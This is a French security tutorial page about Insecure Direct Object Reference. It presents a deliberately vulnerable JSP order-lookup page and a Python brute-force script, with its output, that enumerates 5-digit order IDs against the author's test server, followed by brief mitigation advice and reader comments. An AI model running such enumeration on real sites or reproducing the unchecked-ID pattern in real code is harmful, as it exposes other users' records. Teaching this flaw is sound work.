Références directes d'objets


<< Inclusions dynamiques Cross-Site Scripting >>


Définition
   Passons maintenant à une faille facile de compréhension mais pour le moins dangereuse. Labellisée par les instituts CWE/SANS comme Improper Access Control ou Insecure Direct Object Reference, ce type de vulnérabilité affecte les applications qui ne contrôlent pas suffisament les ressources que peuvent accéder les utilisateurs, partant souvent du principe que ceux-ci ne dévieront pas de la navigation normale.

Dans la pratique, ce type de problème intervient lors d'accès à des ressources référencées ou indexées. Notamment, le profil de l'utilisateur "1", l'accès au panier "654", etc...
Les applications Web les plus touchées sont sans nul doute les applications de type client/serveur (applets Java, applications Flash/Flex, etc...).
Pour ne pas compliquer inutilement ce petit article, nous considérerons néanmoins un site classique, en JSPs (Java Server Pages), une facilité de scripting en Java, afin d'illustrer ceci.

Un petit exemple
   Un petit site d'après-vente très simple, où il est question de retrouver d'après un numéro d'identification, à 5 chiffres, les détails d'une commande passée et d'en effectuer les modifications si nécessaire.
    <-- index.jsp / Service après-vente -->

    <%@ page language="java" contentType="text/html; charset=ISO-8859-1"
      pageEncoding="ISO-8859-1"%>
    <%@ page import = "java.lang.*" %>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <%
      Integer id;
      String param = request.getParameter("idCommande");
      if (param == null || param.length() != 5) {
        id = 0;
      } else {
        try {
          id = Integer.parseInt(param);
        } catch (NumberFormatException nfe) {
          id = 0;
        }
      }

      /* Emulation d'une fonction de vérification d'existence */
      if (id == 0 || (id != 12345 && id != 23456)) {
    %>
    <html>
    <head><title>Suivi de votre commande</title></head>
    <body>
    <form method="get" action="/index.jsp">
    Référence de votre commande : <input type="text" maxlen="5" size="5" name="idCommande">
    </form>
    </body>
    </html>
    <%
      } else {
        /* Récuperation de la commande
        * Commande com = getCommandeByID(id);
        * etc...
        */
    %>
    <html>
    <head><title>Suivi de votre commande</title></head>
    <body>
    Référence de votre commande : <% out.println(id); %><br />
    Détails de votre commande : [...]<br />
    </body>
    </html>
    <%
      }
    %>

Vous l'aurez remarqué, faire une page fonctionnelle complète aurait été hors de propos. La fonction de vérification d'existence est simulée par un if, indiquant qu'il n'y a que les références "12345" et "23456" qui existent.
On consulte donc ce petit site en fournissant la référence indiquée sur notre bon de commande, "12345".

Consultation Bon de commande

La page de détail s'affiche bien donc la commande a été trouvée. Testons donc avec un id au hasard, "31337.

Mauvais numéro

Le site nous renvoie le formulaire de demande de la référence, ce qui correspond bien à ce que nous avons fait. Maintenant, il est temps de s'intéresser à ce qui ne va pas. Deux choses. D'une part, la référence à la commande est directe (référence d'identification de la commande). Autrement dit, si nous trouvons le numéro d'une commande qui n'est pas à nous, nous pouvons quand même afficher la page de détail. D'autre part, l'étendue des numéros est trop petite. En effet, un identifiant à 5 chiffres laisse seulement un centaine de milliers de possibilités, ce qui est très faible comparé à la puissance de calcul informatique actuelle. L'idée serait donc ici de tester tous les numéros afin de trouver ceux qui sont valides.

Avec un programme bateau de brute-force, on peut tester rapidement et trouver des références valides (le programme est volontairement ralenti et utilise le moins de sockets possibles, à cause de lenteurs des fermetures de sockets de httplib et surtout de la faiblesse de la plateforme Tomcat/Java qui est derrière et qui tombe relativement rapidement sur des attaques brutes de ce type en remplissant son heap).
    $ cat brute.py && ./brute | grep n
    #!/usr/bin/python

    import httplib
    import re
    import socket
    import time

    def main():
      match = re.compile("tails")
      refs = []

      i = 0
      x = time.time()
      while True:
        if i >= 30000:
          break
        conn = httplib.HTTPConnection("poc.bases-hacking.org:8080")
        print i
        for j in range(0,100):
          conn.request("GET", "/index.jsp?idCommande=" + str(i))
          resp = conn.getresponse()
          data = resp.read()
          if match.search(data) != None:
            print "Found " + str(i) + " in " + str(time.time() - x) + " seconds"
            refs.append(i)
          i = i+1
        conn.close()

      if refs != []:
        print "Commandes existantes : ",
        for ref in refs:
          print " " + str(ref),
        print
      else:
        print "Aucune commande valide"
    if __name__ == "__main__":
      main()


    Found 12345 in 12.6583929062 seconds
    Found 23456 in 20.1704540253 seconds
    Commandes existantes : 12345 23456
    $
Vous l'avez compris, ce genre de danger est présent lors d'accès à des ressources sans avoir besoin de s'authentifier, auquel cas la clé doit être suffisamment difficile à deviner ou brute forcer, ainsi que dans tous les cas où des variables d'identification d'objet sont passées à l'utilisateur puis réutilisées, auquel cas il faut bien vérifier que l'utilisateur a le droit de consulter l'objet.

Un court article de recommandations de programmation Web sécurisée vous donnera plus d'informations sur les bonnes pratiques permettant d'éviter ce genre de failles.

<< Inclusions dynamiques Cross-Site Scripting >>






31 Commentaires
Afficher tous


FrizN 01/03/14 12:27
Le ? délimite le début de la liste des paramètres, avant c'est simplement le chemin d'accès à la ressource.

Anonyme 01/03/14 10:12
J'aimerais bien savoir pourquoi toujours mettre "?" et pas "/". Quelle différence?

Anonyme 11/11/13 07:57
Le but de ce site n'est pas de vous apprendre des langages, certes je suis moi même paumé par les explications, mais d'après ce que je comprends vous devez déjà avoir des bases solides avant d'espérer tirer quelque chose de ce site. Les tutos et cours de chaque langage ne sont pas ce qui manquent sur le net, google (et la patience) est votre ami

Anonyme 03/11/13 19:12
soyez + clair dans vos explications pour nous autres novices s.v.p




Commentaires désactivés.

Apprendre la base du hacking - Liens sécurité informatique/hacking - Contact

Copyright © Bases-Hacking 2007-2014. All rights reserved.